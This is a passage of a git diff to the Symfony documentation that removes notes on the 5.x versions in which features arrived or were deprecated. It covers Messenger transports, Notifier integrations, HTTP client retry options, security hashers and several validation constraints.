 :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
 
-.. versionadded:: 5.3
-
-    Limiting the worker to specific queues was introduced in Symfony 5.3.
-
 .. _messenger-supervisor:
 
 Supervisor Configuration
@@ -759,10 +755,6 @@ this is configurable for each transport:
     Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
     when a message is retried so you can run your own logic.
 
-    .. versionadded:: 5.2
-
-        The ``WorkerMessageRetriedEvent`` class was introduced in Symfony 5.2.
-
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 
@@ -774,10 +766,6 @@ the message will not be retried.
 Forcing Retrying
 ~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``RecoverableMessageHandlingException`` was introduced in Symfony 5.1.
-
 Sometimes handling a message must fail in a way that you *know* is temporary
 and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
@@ -871,10 +859,6 @@ to retry them:
     # remove messages without retrying them and show each message before removing it
     $ php bin/console messenger:failed:remove 20 30 --show-messages
 
-.. versionadded:: 5.1
-
-    The ``--show-messages`` option was introduced in Symfony 5.1.
-
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
@@ -882,10 +866,6 @@ retry has been hit, the message will be discarded permanently.
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.3
-
-    The possibility to use multiple failed transports was introduced in Symfony 5.3.
-
 Sometimes it is not enough to have a single, global ``failed transport`` configured
 because some messages are more important than others. In those cases, you can
 override the failure transport for only specific transports:
@@ -1052,16 +1032,11 @@ AMQP Transport
 ~~~~~~~~~~~~~~
 
 The AMQP transport uses the AMQP PHP extension to send messages to queues like
-RabbitMQ.
-
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the AMQP transport has moved to a separate package.
-    Install it by running:
+RabbitMQ. Install it by running:
 
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require symfony/amqp-messenger
+    $ composer require symfony/amqp-messenger
 
 The AMQP transport DSN may looks like this:
 
@@ -1073,10 +1048,6 @@ The AMQP transport DSN may looks like this:
     # or use the AMQPS protocol
     MESSENGER_TRANSPORT_DSN=amqps://guest:guest@localhost/%2f/messages
 
-.. versionadded:: 5.2
-
-    The AMQPS protocol support was introduced in Symfony 5.2.
-
 If you want to use TLS/SSL encrypted AMQP, you must also provide a CA certificate.
 Define the certificate path in the ``amqp.cacert`` PHP.ini setting
 (e.g. ``amqp.cacert = /etc/ssl/certs``) or in the ``cacert`` parameter of the
@@ -1093,8 +1064,8 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
 
 .. note::
 
-    With Symfony 5.3 or newer, you can limit the consumer of an AMQP transport to only
-    process messages from some queues of an exchange. See :ref:`messenger-limit-queues`.
+    You can limit the consumer of an AMQP transport to only process messages
+    from some queues of an exchange. See :ref:`messenger-limit-queues`.
 
 The transport has a number of other options, including ways to configure
 the exchange, queues binding keys and more. See the documentation on
@@ -1161,15 +1132,6 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
-.. versionadded:: 5.2
-
-    The ``confirm_timeout`` option was introduced in Symfony 5.2.
-
-.. deprecated:: 5.3
-
-    The ``prefetch_count`` option was deprecated in Symfony 5.3 because it has
-    no effect on the AMQP Messenger transport.
-
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::
@@ -1197,15 +1159,11 @@ Doctrine Transport
 ~~~~~~~~~~~~~~~~~~
 
 The Doctrine transport can be used to store messages in a database table.
+Install it by running:
 
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the Doctrine transport has moved to a separate package.
-    Install it by running:
-
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require symfony/doctrine-messenger
+    $ composer require symfony/doctrine-messenger
 
 The Doctrine transport DSN may looks like this:
 
@@ -1218,11 +1176,6 @@ The format is ``doctrine://<connection_name>``, in case you have multiple connec
 and want to use one other than the "default". The transport will automatically create
 a table named ``messenger_messages``.
 
-.. versionadded:: 5.1
-
-    The ability to automatically generate a migration for the ``messenger_messages``
-    table was introduced in Symfony 5.1 and DoctrineBundle 2.1.
-
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
@@ -1251,11 +1204,6 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
-.. versionadded:: 5.1
-
-    The ability to leverage PostgreSQL's LISTEN/NOTIFY was introduced
-    in Symfony 5.1.
-
 When using PostgreSQL, you have access to the following options to leverage
 the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
 than the default polling behavior of the Doctrine transport because
@@ -1277,10 +1225,6 @@ get_notify_timeout       The length of time to wait for a            0
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The Beanstalkd transport was introduced in Symfony 5.2.
-
 The Beanstalkd transport sends messages directly to a Beanstalkd work queue. Install
 it by running:
 
@@ -1319,16 +1263,12 @@ Redis Transport
 ~~~~~~~~~~~~~~~
 
 The Redis transport uses `streams`_ to queue messages. This transport requires
-the Redis PHP extension (>=4.3) and a running Redis server (^5.0).
-
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the Redis transport has moved to a separate package.
-    Install it by running:
+the Redis PHP extension (>=4.3) and a running Redis server (^5.0). Install it by
+running:
 
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require symfony/redis-messenger
+    $ composer require symfony/redis-messenger
 
 The Redis transport DSN may looks like this:
 
@@ -1343,10 +1283,6 @@ The Redis transport DSN may looks like this:
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
 
-.. versionadded:: 5.1
-
-    The Unix socket DSN was introduced in Symfony 5.1.
-
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
@@ -1401,15 +1337,6 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
     in your case) to avoid memory leaks. Otherwise, all messages will remain
     forever in Redis.
 
-.. versionadded:: 5.1
-
-    The ``delete_after_ack``, ``redeliver_timeout`` and ``claim_interval``
-    options were introduced in Symfony 5.1.
-
-.. versionadded:: 5.2
-
-    The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
-
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1490,24 +1417,16 @@ The transport has a number of options:
     Whether to serialize messages or not. This is useful to test an additional
     layer, especially when you use your own message serializer.
 
-.. versionadded:: 5.3
-
-    The ``serialize`` option was introduced in Symfony 5.3.
-
 .. note::
 
-        All ``in-memory`` transports will be reset automatically after each test **in**
-        test classes extending
-        :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
-        or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
+    All ``in-memory`` transports will be reset automatically after each test **in**
+    test classes extending
+    :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
+    or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
 
 Amazon SQS
 ~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The Amazon SQS transport was introduced in Symfony 5.1.
-
 The Amazon SQS transport is perfect for application hosted on AWS. Install it by
 running:
 
@@ -1534,10 +1453,6 @@ The SQS transport DSN may looks like this:
     name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This
     extra API call can be avoided by providing a DSN which is the queue URL.
 
-    .. versionadded:: 5.2
-
-        The feature to provide the queue URL in the DSN was introduced in Symfony 5.2.
-
 The transport has a number of options:
 
 ======================  ======================================  ===================================
@@ -1561,10 +1476,6 @@ The transport has a number of options:
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
-.. versionadded:: 5.3
-
-    The ``debug`` option was introduced in Symfony 5.3.
-
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should
@@ -2122,10 +2033,6 @@ may want to use:
 Other Middlewares
 ~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.3
-
-    The ``router_context`` middleware was introduced in Symfony 5.3.
-
 Add the ``router_context`` middleware if you need to generate absolute URLs in
 the consumer (e.g. render a template with links). This middleware stores the
 original request context (i.e. the host, the HTTP port, etc.) which is needed
diff --git a/notifier.rst b/notifier.rst
index 071cf8fa527..e5762b16ce4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -4,10 +4,6 @@
 Creating and Sending Notifications
 ==================================
 
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
 Installation
 ------------
 
@@ -79,23 +75,6 @@ SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
 ==============  ====================================  ===========================================================================
 
-.. versionadded:: 5.1
-
-    The OvhCloud, Sinch and FreeMobile integrations were introduced in Symfony 5.1.
-
-.. versionadded:: 5.2
-
-    The Smsapi, Infobip, Mobyt, Esendex and Sendinblue integrations were introduced in Symfony 5.2.
-
-.. versionadded:: 5.3
-
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras
-    and MessageBird integrations were introduced in Symfony 5.3.
-
-.. versionadded:: 5.4
-
-    The MessageMedia integration was introduced in Symfony 5.4.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -174,21 +153,6 @@ Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==============  ====================================  ===========================================================================
 
-.. versionadded:: 5.1
-
-    The Firebase, Mattermost and RocketChat integrations were introduced in Symfony
-    5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
-    Webhooks instead of legacy tokens.
-
-.. versionadded:: 5.2
-
-    The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
-    The Slack DSN changed in Symfony 5.2 to use Slack Web API again same as in 5.0.
-
-.. versionadded:: 5.3
-
-    The Gitter, Mercure, FakeChat and Microsoft Teams integrations were introduced in Symfony 5.3.
-
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
@@ -434,11 +398,6 @@ Symfony provides the following recipients:
     recipient can be used for all channels (depending on whether they are
     actually set).
 
-.. versionadded:: 5.2
-
-    The ``AdminRecipient`` class was removed in Symfony 5.2, you should use
-    ``Recipient`` instead.
-
 Configuring Channel Policies
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index a20dfd6b047..e4591e724d7 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -4,10 +4,6 @@
 How to send Chat Messages
 =========================
 
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
 The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
 you to send messages to chat services like Slack or Telegram::
 
@@ -41,10 +37,6 @@ The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.
 
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
 .. seealso::
 
     Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how
@@ -131,10 +123,6 @@ The result will be something like:
 .. image:: /_images/notifier/slack/field-method.png
    :align: center
 
-.. versionadded:: 5.1
-
-    The `field()` method was introduced in Symfony 5.1.
-
 Adding a Header to a Slack Message
 ----------------------------------
 
@@ -171,10 +159,6 @@ The result will be something like:
 .. image:: /_images/notifier/slack/slack-header.png
    :align: center
 
-.. versionadded:: 5.3
-
-    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
-
 Adding a Footer to a Slack Message
 ----------------------------------
 
@@ -214,10 +198,6 @@ The result will be something like:
 .. image:: /_images/notifier/slack/slack-footer.png
    :align: center
 
-.. versionadded:: 5.3
-
-    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
-
 Sending a Slack Message as a Reply
 ----------------------------------
 
@@ -245,10 +225,6 @@ The result will be something like:
 .. image:: /_images/notifier/slack/message-reply.png
    :align: center
 
-.. versionadded:: 5.3
-
-    The ``threadTs()`` method was introduced in Symfony 5.3.
-
 Adding Interactions to a Discord Message
 ----------------------------------------
 
diff --git a/notifier/texters.rst b/notifier/texters.rst
index 4cf9b6f2de2..a2cec96012f 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -4,10 +4,6 @@
 How to send SMS Messages
 ========================
 
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
 The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
 you to send SMS messages::
 
@@ -42,10 +38,6 @@ The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.
 
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
 .. seealso::
 
     Read :ref:`the main Notifier guide <notifier-texter-dsn>` to see how
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index ef377c47974..c08323ba5eb 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -18,10 +18,6 @@ For convenience, your data collectors can also extend from the
 class, which implements the interface and provides some utilities and the
 ``$this->data`` property to store the collected information.
 
-.. versionadded:: 5.2
-
-    The ``AbstractDataCollector`` class was introduced in Symfony 5.2.
-
 The following example shows a custom collector that stores information about the
 request::
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4f2d20b2b18..9a061dc2def 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -1,11 +1,6 @@
 Rate Limiter
 ============
 
-.. versionadded:: 5.2
-
-    The RateLimiter component was introduced in Symfony 5.2 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
 A "rate limiter" controls how frequently some event (e.g. an HTTP request or a
 login attempt) is allowed to happen. Rate limiting is commonly used as a
 defensive measure to protect services from excessive use (intended or not) and
@@ -515,10 +510,6 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
                 ;
         };
 
-.. versionadded:: 5.3
-
-    The login throttling doesn't use any lock since Symfony 5.3 to avoid extra load.
-
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 99198ce436d..b44b1c0a2af 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -387,10 +387,6 @@ named ``kernel.http_method_override``.
 trusted_headers
 ~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``trusted_headers`` option was introduced in Symfony 5.2.
-
 The ``trusted_headers`` option is needed to configure which client information
 should be trusted (e.g. their host) when running Symfony behind a load balancer
 or a reverse proxy. See :doc:`/deployment/proxies`.
@@ -400,11 +396,6 @@ or a reverse proxy. See :doc:`/deployment/proxies`.
 trusted_proxies
 ~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``trusted_proxies`` option was reintroduced in Symfony 5.2 (it had been
-    removed in Symfony 3.3).
-
 The ``trusted_proxies`` option is needed to get precise information about the
 client (e.g. their IP address) when running Symfony behind a load balancer or a
 reverse proxy. See :doc:`/deployment/proxies`.
@@ -499,11 +490,6 @@ some environment variable that stores the name of the IDE/editor:
             $framework->ide('%env(resolve:CODE_EDITOR)%');
         };
 
-.. versionadded:: 5.3
-
-    The option to use env vars in the ``framework.ide`` option was introduced
-    in Symfony 5.3.
-
 Another alternative is to set the ``xdebug.file_link_format`` option in your
 ``php.ini`` configuration file. The format to use is the same as for the
 ``framework.ide`` option, but without the need to escape the percent signs
@@ -990,10 +976,6 @@ will automatically retry failed HTTP requests.
                     retry_failed:
                         max_retries: 4
 
-.. versionadded:: 5.2
-
-    The ``retry_failed`` option was introduced in Symfony 5.2.
-
 auth_basic
 ..........
 
@@ -1096,10 +1078,6 @@ delay
 
 **type**: ``integer`` **default**: ``1000``
 
-.. versionadded:: 5.2
-
-    The ``delay`` option was introduced in Symfony 5.2.
-
 The initial delay in milliseconds used to compute the waiting time between retries.
 
 .. _reference-http-client-retry-enabled:
@@ -1127,10 +1105,6 @@ http_codes
 
 **type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES`
 
-.. versionadded:: 5.2
-
-    The ``http_codes`` option was introduced in Symfony 5.2.
-
 The list of HTTP status codes that triggers a retry of the request.
 
 http_version
@@ -1146,10 +1120,6 @@ jitter
 
 **type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0)
 
-.. versionadded:: 5.2
-
-    The ``jitter`` option was introduced in Symfony 5.2.
-
 This option adds some randomness to the delay. It's useful to avoid sending
 multiple requests to the server at the exact same time. The randomness is
 calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter
@@ -1177,10 +1147,6 @@ max_delay
 
 **type**: ``integer`` **default**: ``0``
 
-.. versionadded:: 5.2
-
-    The ``max_delay`` option was introduced in Symfony 5.2.
-
 The maximum amount of milliseconds initial to wait between retries.
 Use ``0`` to not limit the duration.
 
@@ -1215,10 +1181,6 @@ max_retries
 
 **type**: ``integer`` **default**: ``3``
 
-.. versionadded:: 5.2
-
-    The ``max_retries`` option was introduced in Symfony 5.2.
-
 The maximum number of retries for failing requests. When the maximum is reached,
 the client returns the last received response.
 
@@ -1227,10 +1189,6 @@ multiplier
 
 **type**: ``float`` **default**: ``2``
 
-.. versionadded:: 5.2
-
-    The ``multiplier`` option was introduced in Symfony 5.2.
-
 This value is multiplied to the delay each time a retry occurs, to distribute
 retries in time instead of making all of them sequentially.
 
@@ -1298,10 +1256,6 @@ retry_strategy
 
 **type**: ``string``
 
-.. versionadded:: 5.2
-
-    The ``retry_strategy`` option was introduced in Symfony 5.2.
-
 The service is used to decide if a request should be retried and to compute the
 time to wait between retries. By default, it uses an instance of
 :class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured
@@ -1394,11 +1348,6 @@ only_main_requests
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.3
-
-    The ``only_main_requests`` option was introduced in Symfony 5.3. In previous
-    versions it was called ``only_master_requests``.
-
 When this is set to ``true``, the profiler will only be enabled on the main
 requests (and not on the subrequests).
 
@@ -1529,10 +1478,6 @@ default_uri
 
 **type**: ``string``
 
-.. versionadded:: 5.1
-
-    The ``default_uri`` option was introduced in Symfony 5.1.
-
 The default URI used to generate URLs in a non-HTTP context (see
 :ref:`Generating URLs in Commands <router-generate-urls-commands>`).
 
@@ -1576,12 +1521,7 @@ or ``null`` might be preferred in production.
 utf8
 ....
 
-**type**: ``boolean`` **default**: ``false``
-
-.. deprecated:: 5.1
-
-    Not setting this option is deprecated since Symfony 5.1. Moreover, the
-    default value of this option will change to ``true`` in Symfony 6.0.
+**type**: ``boolean`` **default**: ``true``
 
 When this option is set to ``true``, the regular expressions used in the
 :ref:`requirements of route parameters <routing-requirements>` will be run
@@ -1615,10 +1555,6 @@ To see a list of all available storages, run:
 
     $ php bin/console debug:container session.storage.factory.
 
-.. versionadded:: 5.3
-
-    The ``storage_factory_id`` option was introduced in Symfony 5.3.
-
 .. _config-framework-session-handler-id:
 
 handler_id
@@ -2381,11 +2317,6 @@ package:
                 ->basePath('/images');
         };
 
-.. versionadded:: 5.1
-
-    The option to use an absolute URL in  ``json_manifest_path`` was introduced
-    in Symfony 5.1.
-
 .. note::
 
     This parameter cannot be set at the same time as ``version`` or ``version_strategy``.
@@ -2428,10 +2359,6 @@ enabled_locales
 
 **type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
 
-.. versionadded:: 5.1
-
-    The ``enabled_locales`` option was introduced in Symfony 5.1.
-
 Symfony applications generate by default the translation files for validation
 and security messages in all locales. If your application only uses some
 locales, use this option to restrict the files generated by Symfony and improve
@@ -2545,10 +2472,6 @@ providers
 
 **type**: ``array`` **default**: ``[]``
 
-.. versionadded:: 5.3
-
-    The ``providers`` option was introduced in Symfony 5.3.
-
 This option enables and configures :ref:`translation providers <translation-providers>`
 to push and pull your translations to/from third party translation services.
 
@@ -2573,10 +2496,6 @@ When enabled, the ``property_accessor`` service uses PHP's
 :ref:`magic __get() method <components-property-access-magic-get>` when
 its ``getValue()`` method is called.
 
-.. versionadded:: 5.2
-
-    The ``magic_get`` option was introduced in Symfony 5.2.
-
 magic_set
 .........
 
@@ -2586,10 +2505,6 @@ When enabled, the ``property_accessor`` service uses PHP's
 :ref:`magic __set() method <components-property-access-writing-to-objects>` when
 its ``setValue()`` method is called.
 
-.. versionadded:: 5.2
-
-    The ``magic_set`` option was introduced in Symfony 5.2.
-
 throw_exception_on_invalid_index
 ................................
 
@@ -2992,10 +2907,6 @@ This option also accepts a map of PHP errors to log levels:
             // ...
         };
 
-.. versionadded:: 5.3
-
-    The option to map PHP errors to log levels was introduced in Symfony 5.3.
-
 throw
 .....
 
@@ -3243,12 +3154,6 @@ It's also useful when using `blue/green deployment`_ strategies and more
 generally, when you need to abstract out the actual deployment directory (for
 example, when warming caches offline).
 
-.. versionadded:: 5.2
-
-    Starting from Symfony 5.2, the ``%kernel.container_class%`` parameter is no
-    longer appended automatically to the value of this option. This allows
-    sharing caches between applications or different environments.
-
 .. _reference-lock:
 
 lock
@@ -3351,10 +3256,6 @@ mailer. A transport name is the key and the dsn is the value.
 message_bus
 ...........
 
-.. versionadded:: 5.1
-
-    The ``message_bus`` option was introduced in Symfony 5.1.
-
 **type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
 
 Service identifier of the message bus to use when using the
@@ -3434,10 +3335,6 @@ recipients set in the code.
 headers
 .......
 
-.. versionadded:: 5.2
-
-    The ``headers`` mailer option was introduced in Symfony 5.2.
-
 **type**: ``array``
 
 Headers to add to emails. The key (``name`` attribute in xml format) is the
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 10e87ca1a67..42060a897ee 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -110,10 +110,6 @@ Build Directory
 
 **type**: ``string`` **default**: ``$this->getCacheDir()``
 
-.. versionadded:: 5.2
-
-    The build directory feature was introduced in Symfony 5.2.
-
 This returns the absolute path of a build directory of your Symfony project. This
 directory can be used to separate read-only cache (i.e. the compiled container)
 from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 63c40da28bd..d711aa2c59c 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -125,9 +125,7 @@ This option is explained in detail in :doc:`/security/access_control`.
 hashers
 -------
 
-This option defines the algorithm used to *hash* the password of the users
-(which in previous Symfony versions was wrongly called *"password encoding"*).
-
+This option defines the algorithm used to *hash* the password of the users.
 If your app defines more than one user class, each of them can define its own
 hashing algorithm. Also, each algorithm defines different config options:
 
@@ -244,11 +242,6 @@ hashing algorithm. Also, each algorithm defines different config options:
                 ->algorithm('sha512');
         };
 
-.. versionadded:: 5.3
-
-    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
-    versions it was called ``encoders``.
-
 .. tip::
 
     You can also create your own password hashers as services and you can even
@@ -325,9 +318,9 @@ hashing algorithm. Also, each algorithm defines different config options:
 Using the "auto" Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It automatically selects the best available hasher. Starting from Symfony 5.3,
-it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
-future, it might select a different hasher.
+It automatically selects the best available hasher, which currently is the
+Bcrypt hasher. If PHP or Symfony adds new password hashers in the future, it
+might select a different hasher.
 
 Because of this, the length of the hashed passwords may change in the future, so
 make sure to allocate enough space for them to be persisted (``varchar(255)``
@@ -367,8 +360,8 @@ used back when they were hashed.
 Using the Sodium Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It uses the `Argon2 key derivation function`_. Argon2 support was introduced
-in PHP 7.2 by bundeling the `libsodium`_ extension.
+It uses the `Argon2 key derivation function`_, which PHP supports natively since
+PHP 7.2 version.
 
 The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
@@ -501,11 +494,6 @@ the ``debug:firewall`` command:
     # about the event listeners for the firewall
     $ php bin/console debug:firewall main --include-listeners
 
-.. versionadded:: 5.3
-
-    The ``debug:firewall`` command was introduced in Symfony 5.3.
-
-
 .. _reference-security-firewall-form-login:
 
 ``form_login`` Authentication
@@ -638,8 +626,6 @@ The ``invalidate_session`` option allows to redefine this behavior. Set this
 option to ``false`` in every firewall and the user will only be logged out from
 the current firewall and not the other ones.
 
-.. _reference-security-logout-success-handler:
-
 ``path``
 ~~~~~~~~
 
@@ -657,23 +643,6 @@ The relative path (if the value starts with ``/``), or absolute URL (if it
 starts with ``http://`` or ``https://``) or the route name (otherwise) to
 redirect after logout.
 
-success_handler
-~~~~~~~~~~~~~~~
-
-.. deprecated:: 5.1
-
-    This option is deprecated since Symfony 5.1. Register an
-    :doc:`event listener </event_dispatcher>` on the
-    :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
-    instead.
-
-**type**: ``string`` **default**: ``'security.logout.success_handler'``
-
-The service ID used for handling a successful logout. The service must implement
-:class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
-
-If it is set, the logout ``target`` option will be ignored.
-
 .. _reference-security-logout-csrf:
 
 csrf_parameter
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index a83e86aa651..710c437ff55 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -211,10 +211,6 @@ delivery_addresses
 
 **type**: ``array``
 
-.. note::
-
-    In previous versions, this option was called ``delivery_address``.
-
 If set, all email messages will be sent to these addresses instead of being sent
 to their actual recipients. This is often useful when developing. For example,
 by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index fb29a86f8d8..b1bb95d5f2d 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -4,10 +4,6 @@ AtLeastOneOf
 This constraint checks that the value satisfies at least one of the given
 constraints. The validation stops as soon as one constraint is satisfied.
 
-.. versionadded:: 5.1
-
-    The ``AtLeastOneOf`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `constraints`_
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index fbbd693e013..1dff11ca884 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -118,8 +118,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 83b0fabf9b7..de7b776740e 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -131,10 +131,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``schemes``
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 93a4c455a0f..02d4b688dd2 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -440,8 +440,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 787889250ce..dab1a60cea0 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -5,10 +5,6 @@ To the contrary to the other constraints, this constraint cannot be used on its
 Instead, it allows you to create your own set of reusable constraints, representing
 rules to use consistently across your application, by extending the constraint.
 
-.. versionadded:: 5.1
-
-    The ``Compound`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>` or :ref:`property or method <validation-property-target>`
 Options     - `groups`_
@@ -75,12 +71,6 @@ Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
 use it as an annotation/attribute in other classes. If the constraint has
 configuration options, define them as public properties on the constraint class.
 
-.. versionadded:: 5.2
-
-    The ability to use PHP attributes to configure constraints was introduced in
-    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
-    annotate constraints.
-
 You can now use it anywhere you need it:
 
 .. configuration-block::
